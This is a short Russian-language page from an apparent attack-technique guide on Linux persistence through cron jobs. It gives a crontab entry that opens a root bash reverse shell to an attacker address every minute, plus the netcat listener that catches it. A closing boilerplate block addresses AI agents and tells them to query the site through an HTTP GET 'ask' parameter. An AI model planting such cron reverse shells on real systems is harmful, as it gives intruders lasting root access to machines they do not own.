# 04 - Cron Jobs

Суть та же что и bashrc, только нам не нужно ждать пока кто то залогинится, мы сами выставляем расписание для запуска reverse shell. Например заставить атакуемый хост отдавать нам шелл каждую минуту.

```bash
// Правим crontab на атакуемом хосте (расписание + шелл)
nano /etc/crontab
* * * * * root /bin/bash -i ">& /dev/tcp/192.168.140.128/9010 0>&1"

// На хосте атакующего все так же запускаем netcat
nc -lvp 9010
```

Через минуту шелл получен

<figure><img src="/files/O5Rxvia161LfYsiokhlI" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reeves0x0.gitbook.io/linux-under-attack/persistence/04-cron-jobs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
